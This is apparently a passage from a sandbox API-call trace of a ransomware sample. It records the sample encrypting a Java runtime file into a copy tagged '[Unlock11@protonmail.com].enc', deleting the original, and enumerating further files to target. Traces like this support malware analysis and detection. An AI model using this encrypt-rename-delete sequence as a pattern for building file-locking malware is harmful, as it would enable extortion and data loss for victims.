(hFile=0x39c) returned 0x1 [0130.460] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0130.460] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.460] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.460] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.460] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.460] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.460] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.460] GetLastError () returned 0x0 [0130.460] GetCurrentThreadId () returned 0x9b0 [0130.461] GetLastError () returned 0x0 [0130.461] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265438 | out: hHeap=0x2ad0000) returned 1 [0130.461] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db8f0 | out: hHeap=0x2ad0000) returned 1 [0130.461] GetLastError () returned 0x0 [0130.461] GetLastError () returned 0x0 [0130.461] GetLastError () returned 0x0 [0130.461] GetLastError () returned 0x0 [0130.461] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0130.461] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32653e8 [0130.461] GetLastError () returned 0x0 [0130.461] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0130.462] GetFileType (hFile=0x3ac) returned 0x1 [0130.462] GetLastError () returned 0x0 [0130.462] GetCurrentThreadId () returned 0x9b0 [0130.462] GetLastError () returned 0x0 [0130.462] GetFileType (hFile=0x3ac) returned 0x1 [0130.462] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0130.462] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.462] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.462] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.463] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.463] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.463] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.463] GetLastError () returned 0x0 [0130.463] GetCurrentThreadId () returned 0x9b0 [0130.463] GetLastError () returned 0x0 [0130.463] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653e8 | out: hHeap=0x2ad0000) returned 1 [0130.463] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19818 | out: hHeap=0x2ad0000) returned 1 [0130.463] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0130.463] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0130.463] GetLastError () returned 0x0 [0130.463] GetLastError () returned 0x0 [0130.464] GetCurrentThreadId () returned 0x9b0 [0130.464] GetLastError () returned 0x0 [0130.464] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0130.464] GetLastError () returned 0x0 [0130.464] GetLastError () returned 0x0 [0130.464] GetCurrentThreadId () returned 0x9b0 [0130.464] GetLastError () returned 0x0 [0130.464] GetLastError () returned 0x0 [0130.466] GetLastError () returned 0x0 [0130.466] GetCurrentThreadId () returned 0x9b0 [0130.466] GetLastError () returned 0x0 [0130.466] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0130.466] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x2ff8) returned 0x381b008 [0130.466] GetCurrentThreadId () returned 0x9b0 [0130.466] GetLastError () returned 0x0 [0130.466] GetLastError () returned 0x0 [0130.466] GetLastError () returned 0x0 [0130.466] GetLastError () returned 0x0 [0130.467] GetCurrentThreadId () returned 0x9b0 [0130.467] GetLastError () returned 0x0 [0130.467] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x381b008 | out: hHeap=0x2ad0000) returned 1 [0130.467] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0130.467] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0130.467] GetLastError () returned 0x0 [0130.468] GetLastError () returned 0x0 [0130.468] GetCurrentThreadId () returned 0x9b0 [0130.468] GetLastError () returned 0x0 [0130.468] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c0a00 | out: hHeap=0x2ad0000) returned 1 [0130.468] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fb548 [0130.468] GetLastError () returned 0x0 [0130.469] GetLastError () returned 0x0 [0130.469] GetCurrentThreadId () returned 0x9b0 [0130.469] GetLastError () returned 0x0 [0130.469] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fb548 | out: hHeap=0x2ad0000) returned 1 [0130.469] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.469] GetLastError () returned 0x0 [0130.469] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0130.469] CloseHandle (hObject=0x3ac) returned 1 [0130.470] GetLastError () returned 0x0 [0130.470] GetCurrentThreadId () returned 0x9b0 [0130.470] GetLastError () returned 0x0 [0130.470] GetLastError () returned 0x0 [0130.470] CloseHandle (hObject=0x39c) returned 1 [0130.470] GetLastError () returned 0x0 [0130.470] GetCurrentThreadId () returned 0x9b0 [0130.470] GetLastError () returned 0x0 [0130.470] GetLastError () returned 0x0 [0130.470] GetLastError () returned 0x0 [0130.471] GetLastError () returned 0x0 [0130.471] GetLastError () returned 0x0 [0130.471] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 1 [0130.472] GetLastError () returned 0x0 [0130.472] GetCurrentThreadId () returned 0x9b0 [0130.472] GetLastError () returned 0x0 [0130.472] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0130.472] GetCurrentThreadId () returned 0x9b0 [0130.472] GetLastError () returned 0x0 [0130.472] GetLastError () returned 0x0 [0130.473] GetLastError () returned 0x0 [0130.473] GetLastError () returned 0x0 [0130.473] FindFirstFileA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa11bdb26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7590 [0130.474] GetLastError () returned 0x0 [0130.474] GetCurrentThreadId () returned 0x9b0 [0130.474] GetLastError () returned 0x0 [0130.474] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa11bdb26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0130.474] GetLastError () returned 0x0 [0130.475] GetCurrentThreadId () returned 0x9b0 [0130.475] GetLastError () returned 0x0 [0130.475] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2de78, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="access-bridge-64.jar", cAlternateFileName="ACCESS~1.JAR")) returned 1 [0130.475] GetLastError () returned 0x0 [0130.475] GetCurrentThreadId () returned 0x9b0 [0130.475] GetLastError () returned 0x0 [0130.475] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3ae816, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="cldrdata.jar", cAlternateFileName="")) returned 1 [0130.475] GetLastError () returned 0x0 [0130.475] GetCurrentThreadId () returned 0x9b0 [0130.475] GetLastError () returned 0x0 [0130.475] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x205e, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="dnsns.jar", cAlternateFileName="")) returned 1 [0130.475] GetLastError () returned 0x0 [0130.476] GetCurrentThreadId () returned 0x9b0 [0130.476] GetLastError () returned 0x0 [0130.476] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xade4, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="jaccess.jar", cAlternateFileName="")) returned 1 [0130.476] GetLastError () returned 0x0 [0130.476] GetCurrentThreadId () returned 0x9b0 [0130.476] GetLastError () returned 0x0 [0130.476] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1166a99, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="jfxrt.jar", cAlternateFileName="")) returned 1 [0130.476] GetLastError () returned 0x0 [0130.476] GetCurrentThreadId () returned 0x9b0 [0130.476] GetLastError () returned 0x0 [0130.476] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa8546b2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa8546b2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21a46d, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="localedata.jar", cAlternateFileName="LOCALE~1.JAR")) returned 1 [0130.476] GetLastError () returned 0x0 [0130.476] GetCurrentThreadId () returned 0x9b0 [0130.477] GetLastError () returned 0x0 [0130.477] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5b5, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="meta-index", cAlternateFileName="META-I~1")) returned 1 [0130.477] GetLastError () returned 0x0 [0130.477] GetCurrentThreadId () returned 0x9b0 [0130.477] GetLastError () returned 0x0 [0130.477] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1edd4e, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="nashorn.jar", cAlternateFileName="")) returned 1 [0130.477] GetLastError () returned 0x0 [0130.477] GetCurrentThreadId () returned 0x9b0 [0130.477] GetLastError () returned 0x0 [0130.477] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa4c9, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="sunec.jar", cAlternateFileName="")) returned 1 [0130.477] GetLastError () returned 0x0 [0130.477] GetCurrentThreadId () returned 0x9b0 [0130.477] GetLastError () returned 0x0 [0130.478] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x44661, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="sunjce_provider.jar", cAlternateFileName="SUNJCE~1.JAR")) returned 1 [0130.478] GetLastError () returned 0x0 [0130.478] GetCurrentThreadId () returned 0x9b0 [0130.478] GetLastError () returned 0x0 [0130.478] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7fbb, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="sunmscapi.jar", cAlternateFileName="SUNMSC~1.JAR")) returned 1 [0130.478] GetLastError () returned 0x0 [0130.478] GetCurrentThreadId () returned 0x9b0 [0130.478] GetLastError () returned 0x0 [0130.478] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3d5bf, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="sunpkcs11.jar", cAlternateFileName="SUNPKC~1.JAR")) returned 1 [0130.478] GetLastError () returned 0x0 [0130.478] GetCurrentThreadId () returned 0x9b0 [0130.478] GetLastError () returned 0x0 [0130.478] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10d3c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="zipfs.jar", cAlternateFileName="")) returned 1 [0130.479] GetLastError () returned 0x0 [0130.479] GetCurrentThreadId () returned 0x9b0 [0130.479] GetLastError () returned 0x0 [0130.479] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10d3c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="zipfs.jar", cAlternateFileName="")) returned 0 [0130.479] GetLastError () returned 0x12 [0130.479] GetCurrentThreadId () returned 0x9b0 [0130.479] GetLastError () returned 0x12 [0130.479] GetLastError () returned 0x12 [0130.479] FindClose (in: hFindFile=0x10f7590 | out: hFindFile=0x10f7590) returned 1 [0130.480] GetLastError () returned 0x12 [0130.480] GetLastError () returned 0x12 [0130.480] GetLastError () returned 0x12 [0130.480] GetLastError () returned 0x12 [0130.480] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0130.480] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 0x20 [0130.482] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38878d8 | out: hHeap=0x2ad0000) returned 1 [0130.482] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0130.482] GetCurrentThreadId () returned 0x9b0 [0130.482] GetLastError () returned 0x12 [0130.482] GetLastError () returned 0x12 [0130.482] GetLastError () returned 0x12 [0130.482] GetLastError () returned 0x12 [0130.482] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0130.482] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar")) returned 0x20 [0130.483] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab28 | out: hHeap=0x2ad0000) returned 1 [0130.483] GetLastError () returned 0x12 [0130.483] GetLastError () returned 0x12 [0130.483] GetLastError () returned 0x12 [0130.483] GetLastError () returned 0x12 [0130.483] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0130.483] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 0x20 [0130.483] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7e8 | out: hHeap=0x2ad0000) returned 1 [0130.483] GetCurrentThreadId () returned 0x9b0 [0130.484] GetLastError () returned 0x12 [0130.484] GetLastError () returned 0x12 [0130.484] GetLastError () returned 0x12 [0130.484] GetLastError () returned 0x12 [0130.484] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0130.484] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 0x20 [0130.485] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a3e8 | out: hHeap=0x2ad0000) returned 1 [0130.485] GetLastError () returned 0x12 [0130.485] GetLastError () returned 0x12 [0130.485] GetLastError () returned 0x12 [0130.485] GetLastError () returned 0x12 [0130.485] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0130.486] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar")) returned 0x20 [0130.486] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0130.486] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881270, Size=0x20) returned 0x35c5dc0 [0130.486] GetCurrentThreadId () returned 0x9b0 [0130.486] GetLastError () returned 0x12 [0130.486] GetLastError () returned 0x12 [0130.486] GetLastError () returned 0x12 [0130.486] GetLastError () returned 0x12 [0130.486] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0130.486] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar")) returned 0x20 [0130.487] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887800 | out: hHeap=0x2ad0000) returned 1 [0130.487] GetLastError () returned 0x12 [0130.487] GetLastError () returned 0x12 [0130.487] GetLastError () returned 0x12 [0130.487] GetLastError () returned 0x12 [0130.488] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0130.488] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 0x20 [0130.488] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a5a8 | out: hHeap=0x2ad0000) returned 1 [0130.488] GetCurrentThreadId () returned 0x9b0 [0130.488] GetLastError () returned 0x12 [0130.488] GetLastError () returned 0x12 [0130.488] GetLastError () returned 0x12 [0130.489] GetLastError () returned 0x12 [0130.489] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0130.489] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar")) returned 0x20 [0130.489] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a568 | out: hHeap=0x2ad0000) returned 1 [0130.490] GetLastError () returned 0x12 [0130.490] GetLastError () returned 0x12 [0130.490] GetLastError () returned 0x12 [0130.490] GetLastError () returned 0x12 [0130.490] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0130.490] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 0x20 [0130.491] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9a8 | out: hHeap=0x2ad0000) returned 1 [0130.491] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5dc0, Size=0x40) returned 0x3887770 [0130.491] GetCurrentThreadId () returned 0x9b0 [0130.491] GetLastError () returned 0x12 [0130.491] GetLastError () returned 0x12 [0130.491] GetLastError () returned 0x12 [0130.491] GetLastError () returned 0x12 [0130.492] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0130.492] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 0x20 [0130.492] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887650 | out: hHeap=0x2ad0000) returned 1 [0130.492] GetLastError () returned 0x12 [0130.492] GetLastError () returned 0x12 [0130.492] GetLastError () returned 0x12 [0130.492] GetLastError () returned 0x12 [0130.493] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 0x20 [0130.494] GetCurrentThreadId () returned 0x9b0 [0130.494] GetLastError () returned 0x12 [0130.494] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 0x20 [0130.495] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 0x20 [0130.548] GetCurrentThreadId () returned 0x9b0 [0130.548] GetLastError () returned 0x12 [0130.548] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar", lpFilePart=0x9bada4*="access-bridge-64.jar") returned 0x3f [0130.548] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0130.549] GetCurrentThreadId () returned 0x9b0 [0130.549] GetCurrentThreadId () returned 